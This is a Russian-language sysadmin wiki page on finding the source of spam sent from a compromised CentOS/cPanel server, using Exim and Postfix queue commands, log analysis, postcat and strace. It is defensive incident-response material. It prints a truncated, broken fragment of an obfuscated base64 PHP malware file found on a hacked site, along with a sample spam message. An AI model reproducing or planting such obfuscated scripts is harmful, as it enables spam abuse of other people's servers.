Навигация
- Apple
FreeBDSM- Linux
- Notes
Линкшэринг
~~socialite Display:icon facebook twitter~~
ALARM!
Добавить новую страницу
Реклама
~~socialite Display:icon facebook twitter~~
Если вы это читаете вероятно проблема с рассылкой спама вас уже коснулась и вы хотите как можно быстрее найти спамящий сайт и вывести в коридор и там расстрелять выгнать пользователя с вашего сервера.
Описываемый частный случай (CentOS/cPanel) с некоторыми оговорками может быть применём и в других случаях.
Мне известны следующие варианты. Я не эксперт по безопасности и возможно злые хэкеры умеют ломать как-то ещё.
Скрипты
С адресов nobody@foo.bar.com или john@foo.bar.com идёт огромное количество писем через php-скрипты. Это может быть и какой-нибудь старый уязвимый плагин Contact Form 7 или любой другой, через который смогли загрузить зловредные php-сценарии.
Компрометация паролей
Обычно в таком случае почта идёт с ваших почтовых аккаунтов вида john@foobar.com
Darkmailer или YellSOFT DirectMailer
Признаться честно ранее я не знал о существовании такого софта. Насколько я понял они работают в обход Exim (или другого MTA). Поэтому если у вас пустая очередь сообщений, но абузы идут, а вас добавляют в DNSBL, то может быть это именно оно.
Spamfu скрипт для анализа почтовой очереди и логов Exim
Пример работы скрипта
Click to display ⇲
Click to hide ⇱
# ./spamfu.sh #################################### SpamFu for Dummies: There are currently 910901 emails in the queue What would you like to do?: (1) Check for spammers via email logs (2) Check for spammers via emails in the queue (3) Exit Select option: 1 You have selected 1 ########################################################## Parsing a large file with lots of checks can take a while Choose options to pick which logfile, which checks to perform as well as how many lines of the file to parse LOGFILE: exim_mainlog SIZE: 107M (1) Proceed with check (2) Change log file (3) Change which checks are performed (4) Change how many lines to parse (5) Main Menu Select option: 1 Checking for scripts... Emails sent from scripts: 109472 cwd=/home/kchr/public_html/administrator/components/com_menus/helpers 58 cwd=/home/kchr/public_html 46 cwd=/ 19 cwd=/root 1 cwd=/usr/local/cpanel/whostmgr/docroot 1 cwd=/home/politika09/public_html/wp-admin 1 cwd=/home/blagodari/public_html Checking for auth users... Most emails sent by authenticated users: Checking for cpanel/system accounts... Emails sent from cpanel/system accounts: 109529 kchr 58 root 1 politika09 1 blagodari Checking for recipients... Most recipients by Mail and Sender ID's: <= with 1 recipients was sent by U=kchr 0 with 0 recipients was sent by 0 0 with 0 recipients was sent by 0 0 with 0 recipients was sent by 0 0 with 0 recipients was sent by 0 0 with 0 recipients was sent by 0 0 with 0 recipients was sent by 0 0 with 0 recipients was sent by 0 0 with 0 recipients was sent by 0 0 with 0 recipients was sent by 0 0 with 0 recipients was sent by 0 0 with 0 recipients was sent by 0 0 with 0 recipients was sent by 0 0 with 0 recipients was sent by 0 0 with 0 recipients was sent by 0
В каталоге /home/kchr/public_html/administrator/components/com_menus/helpers/
нашёлся файл utf70.php
<?php $zxcvugqgdi = 5840; function njrkwf($wzqwxbf, $hzusvxwiyr){$zayngxgs = ''; for($i=0; $i < strlen($wzqwxbf); $i++){$zayngxgs$ $iqvfzt="base" . "64_decode";return $iqvfzt($zayngxgs);} $thrxe = 'Ki3Dr27amBK9jp24CN74BpSQm4CuEAo2kAZgeZqIKi3Dr27amBK9jpSQ'. 'mW73C0jQC0L0b1sZIkuf1YngON3dCp2qI1MPzB5dmB53zH2qrw7DBHvgOw'. 'G0b1sZIkuf1YnamBvdMi3Pm27urwWgM1JZIkuf1JqIrwz9rBfamBK9jc7kv2jwv2EgIKqItZqI1yvdGq'. '2y2Y2yw4MKycndGq2LvxMMEXqJExhxe4sf1JYYBWfcG3mcG3u0GY2fkWvcBqcAvcE0Bys7E'. '1ESLFCDL16ZbFAxeZqI1w3NI1c3OBnqtyJYBWfcG3mcG3u0ycvGGc7zBqmUG3MnGYvcvc7ikWE0ByYgXK9j'.
Смотрим количество писем в почтовой очереди
#exim -bpc 100500
Смотрим детали по почтовым отправлениям
exim -bp
Данная команда покажет ID сообщения, отправителя, получателя, размер и возраст сообщения. Зная ID сообщения мы можем посмотреть его заголовки и тело сообщения.
Пример
# exim -bp 10h 5.9K 1VRaIo-0009ec-Rz <alexey@navalni.com> putin@kermlin.com
Посмотреть заголовки сообщения
exim -Mvh ID
Посмотреть текст (тело) сообщения
exim -Mvb ID
В случае с Postfix всё тоже самое, только немного другие команды.
Смотрим лог Postfix /var/log/maillog
и ищем подозрительные письма
Nov 3 09:43:11 vps8486 postfix/smtp[15705]: 2D2D616309: host mx3.hotmail.com[65.55.37.120] said: 421 RP-001 (COL004-MC4F15) Unfortunately, some messages from A.B.C.D weren't sent. Please try again. We have limits for how many messages can be sent per hour and per day. You can also refer to http://mail.live.com/mail/troubleshooting.aspx#errors. (in reply to MAIL FROM command) Nov 3 09:43:11 vps8486 postfix/smtp[15705]: 2D2D616309: lost connection with mx3.hotmail.com[65.55.37.120] while sending RCPT TO Nov 3 09:43:12 vps8486 postfix/smtp[15705]: 2D2D616309: to=<giuseppegalluzzo@live.it>, relay=mx2.hotmail.com[104.44.194.236]:25, delay=425944, delays=425941/0.07/3.2/0.18, dsn=4.0.0, status=deferred (host mx2.hotmail.com[104.44.194.236] said: 421 RP-001 (SNT004-MC10F22) Unfortunately, some messages from A.B.C.D weren't sent. Please try again. We have limits for how many messages can be sent per hour and per day. You can also refer to http://mail.live.com/mail/troubleshooting.aspx#errors. (in reply to MAIL FROM command))
Посмотрим письмо с ID 2D2D616309 с помощью postcat
The postcat(1) command prints the contents of the named files in human-readable form. The files are expected to be in Postfix queue file format. If no files are specified on the command line, the program reads from standard input.
# postcat -q 2D2D616309
Click to display ⇲
Click to hide ⇱
*** ENVELOPE RECORDS deferred/2/2D2D616309 *** message_size: 1498 179 1 0 1498 message_arrival_time: Sun Oct 29 11:24:08 2017 create_time: Sun Oct 29 11:24:08 2017 named_attribute: rewrite_context=local sender_fullname: m27701 sender: amalia.b@dvlgroup.ru *** MESSAGE CONTENTS deferred/2/2D2D616309 *** Received: by vps8486.nqhost.com (Postfix, from userid 501) id 2D2D616309; Sun, 29 Oct 2017 11:24:08 +0000 (UTC) To: giuseppegalluzzo@live.it Subject: =?utf-8?Q?Entra_il_nostro_club_e_fai_l=E2=80=99amore?= X-PHP-Originating-Script: 501:hlvyutxw.php(1189) : runtime-created function(1) : eval()'d code(1) : eval()'d code Date: Sun, 29 Oct 2017 11:24:08 +0000 From: "Amalia B." <amalia.b@dvlgroup.ru> Message-ID: <466f47ff57bd08f3b3178babce3474cd@dvlgroup.ru> X-Mailer: PHPMailer 5.2.23 (https://github.com/PHPMailer/PHPMailer) MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="b1_466f47ff57bd08f3b3178babce3474cd" Content-Transfer-Encoding: 8bit This is a multi-part message in MIME format. --b1_466f47ff57bd08f3b3178babce3474cd Content-Type: text/plain; charset=us-ascii Cerco un ragazzo giovane per il sesso. Mi piacciono dei ragazzi sportive. { http://granovero.com/check.php?utm_source=69ldr7tv65&utm_medium=5yox5rvfvr&utm_campaign=4pss95ltc8&utm_term=qylm31qkxy&utm_content=o18gq79k67 } Le fotografie sono qui. --b1_466f47ff57bd08f3b3178babce3474cd Content-Type: text/html; charset=us-ascii <html> <body> Cerco un ragazzo giovane per il sesso.<br> Mi piacciono dei ragazzi sportive.<br> <a href="http://granovero.com/check.php?utm_source=69ldr7tv65&utm_medium=5yox5rvfvr&utm_campaign=4pss95ltc8&utm_term=qylm31qkxy&utm_content=o18gq79k67">Le fotografie sono qui.</a><br> </body> </html> --b1_466f47ff57bd08f3b3178babce3474cd-- *** HEADER EXTRACTED deferred/2/2D2D616309 *** named_attribute: encoding=8bit original_recipient: giuseppegalluzzo@live.it recipient: giuseppegalluzzo@live.it *** MESSAGE FILE END deferred/2/2D2D616309 ***
Заголовки и текст письма конечно же крайне интересны, но нам важна суть, поэтому ищем по X-PHP-Originating-Script
# postcat -q 2D2D616309 | grep X-PHP-Originating-Script X-PHP-Originating-Script: 501:hlvyutxw.php(1189) : runtime-created function(1) : eval()'d code(1) : eval()'d code
Итак, виноват во всём пользователь с UID 501 и PHP скрипт hlvyutxw
Смотрим имя пользователя по его UID (Get Username From UID in Unix)
# getent passwd 501 john:x:501:502:john:/var/www/john/data:/bin/date
Смотрим где расположен файл
# locate hlvyutxw.php /var/www/john/data/www/foobar.com/components/com_chronocontact/upload/hlvyutxw.php
Иногда ничего с заголовком X-PHP-Originating-Script
не находится и в таком случае
postcat -q 2D2D616309 | grep sasl_username
Скорее всего почта рассылается с почтового ящика
named_attribute: sasl_username=user@hackedpassword.com
Exim
exim -Bpc id | grep X-PHP-Originating-Script
Postfix
postfix: postcat -q id | grep X-PHP-Originating-Script
Sendmail
sendmail: cat /var/spool/mqueue/id | grep X-PHP-Originating-Script
Хотелось бы написать отдельную заметку о данной утилите, но 1) нет времени 2) уже всё написано
Хорошая статья для знакомства со strace в блоге cPanel или здесь.
Как установить
# yum install strace # apt-get install strace
Отслеживаем по PID'у.
strace -e trace=open,read,close,connect -p <pid>
Discussion